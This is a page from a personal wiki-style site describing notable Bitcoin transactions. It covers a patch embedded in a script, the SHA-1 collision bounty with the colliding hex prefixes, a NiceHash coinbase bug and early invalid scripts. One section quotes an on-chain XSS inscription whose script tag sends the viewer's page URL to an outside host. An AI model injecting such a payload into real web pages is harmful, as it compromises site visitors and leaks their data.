by Ciro Santilli (@cirosantilli, 34)
Ouptut 0 disassembles as:
OP_IF OP_INVALIDOPCODE 4effffffff <large constant> OP_ENDIF
The large constant contains an ASCII Bitcoin Core patch entitled Remove (SINGLE|DOUBLE)BYTE so presumably this is a proof of concept:
From a3a61fef43309b9fb23225df7910b03afc5465b9 Mon Sep 17 00:00:00 2001
From: Satoshi Nakamoto <satoshin@gmx.com>
Date: Mon, 12 Aug 2013 02:28:02 -0200
Subject: [PATCH] Remove (SINGLE|DOUBLE)BYTE

I removed this from Bitcoin in f1e1fb4bdef878c8fc1564fa418d44e7541a7e83
in Sept 7 2010, almost three years ago. Be warned that I have not
actually tested this patch.
---
 backends/bitcoind/deserialize.py |    8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/backends/bitcoind/deserialize.py b/backends/bitcoind/deserialize.py
index 6620583..89b9b1b 100644
--- a/backends/bitcoind/deserialize.py
+++ b/backends/bitcoind/deserialize.py
@@ -280,10 +280,8 @@ opcodes = Enumeration("Opcodes", [
     "OP_WITHIN", "OP_RIPEMD160", "OP_SHA1", "OP_SHA256", "OP_HASH160",
     "OP_HASH256", "OP_CODESEPARATOR", "OP_CHECKSIG", "OP_CHECKSIGVERIFY", "OP_CHECKMULTISIG",
     "OP_CHECKMULTISIGVERIFY",
-    ("OP_SINGLEBYTE_END", 0xF0),
-    ("OP_DOUBLEBYTE_BEGIN", 0xF000),
     "OP_PUBKEY", "OP_PUBKEYHASH",
-    ("OP_INVALIDOPCODE", 0xFFFF),
+    ("OP_INVALIDOPCODE", 0xFF),
 ])
 
 
@@ -293,10 +291,6 @@ def script_GetOp(bytes):
         vch = None
         opcode = ord(bytes[i])
         i += 1
-        if opcode >= opcodes.OP_SINGLEBYTE_END and i < len(bytes):
-            opcode <<= 8
-            opcode |= ord(bytes[i])
-            i += 1
 
         if opcode <= opcodes.OP_PUSHDATA4:
             nSize = opcode
-- 
1.7.9.4
bitcointalk.org/index.php?topic=5231222.0 duscusses what happens if there is an invalid opcode in a branch that is not taken.
As mentioned at the prize was claimed at 8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc (2017-02-23) which spends several inputs with the same unlock script that presents two different constantants that have the same SHA-1:
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017f46dc93a6b67e013b029aaa1db2560b45ca67d688c7f84b8c4c791fe02b3df614f86db1690901c56b45c1530afedfb76038e972722fe7ad728f0e4904e046c230570fe9d41398abe12ef5bc942be33542a4802d98b5d70f2a332ec37fac3514e74ddc0f2cc1a874cd0c78305a21566461309789606bd0bf3f98cda8044629a1 | xxd -r -p | sha1sum
printf 255044462d312e330a25e2e3cfd30a0a0a312030206f626a0a3c3c2f57696474682032203020522f4865696768742033203020522f547970652034203020522f537562747970652035203020522f46696c7465722036203020522f436f6c6f7253706163652037203020522f4c656e6774682038203020522f42697473506572436f6d706f6e656e7420383e3e0a73747265616d0affd8fffe00245348412d3120697320646561642121212121852fec092339759c39b1a1c63c4c97e1fffe017346dc9166b67e118f029ab621b2560ff9ca67cca8c7f85ba84c79030c2b3de218f86db3a90901d5df45c14f26fedfb3dc38e96ac22fe7bd728f0e45bce046d23c570feb141398bb552ef5a0a82be331fea48037b8b5d71f0e332edf93ac3500eb4ddc0decc1a864790c782c76215660dd309791d06bd0af3f98cda4bc4629b1 | xxd -r -p | sha1sum
both giving
f92d74e3874587aaf443d1db961d4e26dde13e9c
It was claimed on the same day that Google disclosed the collision: security.googleblog.com/2017/02/announcing-first-sha1-collision.html
Both of these are PDF prefixes, so they start with the PDF file signature, but are not fully viewable PDFs on their own.
This contains various outputs that seem trivially spendable in a made up of two non-zero constants, e.g.:
    {
      "value": 0.00002000,
      "n": 9,
      "scriptPubKey": {
        "asm": "1 8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "desc": "rawtr(8fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe)#lxgt8lak",
        "hex": "51208fe61f026c7545a99c6e0f37a5a7eceee5fdf6723c1994ccbfb740556632e9fe",
        "address": "bc1p3lnp7qnvw4z6n8rwpum6tflvamjlmanj8svefn9lkaq92e3ja8lqcc8mcx",
        "type": "witness_v1_taproot"
      }
    },
Or are we missing something? The values are quite small and wouldn't be worth it the miner fees most likely. But is there a fundamental reason why this couldn't be spent by a non-standard miner?
Output 0 does:
OP_ADD OP_ADD 13 OP_EQUAL OP_NOTIF OP_RETURN OP_ENDIF OP_FROMALTSTACK <large xss constant> OP_DROP
where the large constant is an interesting inscription to test for the presence of XSS attacks on blockchain explorers:
<script type='text/javascript'>document.write('<img src='http://www.trollbot.org/xss-blockchain-detector.php?href=' + location.href + ''>');</script>`
This is almost spendable with:
1 OP_TOALTSTACK 10 1 2
but that fails because the altstack is cleared between the input and the output script, so this output is provably unspendable.
Sister transaction of 4373b97e4525be4c2f4b491be9f14ac2b106ba521587dad8f134040d16ff73af with another variant of the XSS but without IF and OP_FROMALTSTACK, thus making it spendable:
OP_ADD OP_ADD 13 OP_EQUAL <large xss constant> OP_DROP
In this malformed Coinbase transaction, the mining pool "nicehash" produced a provably unspendable Bitcoin output script due to a bug, and therefore lost most of the entire block reward of 6.25 BTC then worth about $ 123,000.
The output is unspendable because it ends in a constant 0, the disassembly of the first and main output is this series of constants:
0 017fed86bba5f31f955f8b316c7fb9bd45cb6cbc 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
and for the second smaller one:
aa21a9ed62ec16bf1a388c7884e9778ddb0e26c0bf982dada47aaa5952347c0993da 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
the third one being an OP_RETURN message.
They appear to be included, with rationale that you can already include syntactically valid crap in an unprovable way: github.com/bitcoin/bitcoin/issues/320 Better then have syntactically invalid crap that is provable.
The outputs of this transaction seem to be the first syntactically incorrect scripts of the blockchain: blockchain.info/tx/ebc9fa1196a59e192352d76c0f6e73167046b9d37b8302b6bb6968dfd279b767?format=json, found by parsing everything locally. The transaction was made in 2013 for 0.1 BTC, which then became unspendable.
The first invalid script is just e.g. "script":"01", which says will push one byte into the stack, but then ends prematurely.

Ancestors (11)

  1. Bitcoin script
  2. How Bitcoin works
  3. Bitcoin
  4. List of cryptocurrencies
  5. Cryptocurrency
  6. Blockchain
  7. Money
  8. Social technology
  9. Area of technology
  10. Technology
  11. Home

Synonyms (1)

View article source

Discussion (0)

+ New discussion

There are no discussions about this article yet.

Articles by others on the same topic (0)

There are currently no matching articles.
See all articles in the same topic + Create my own version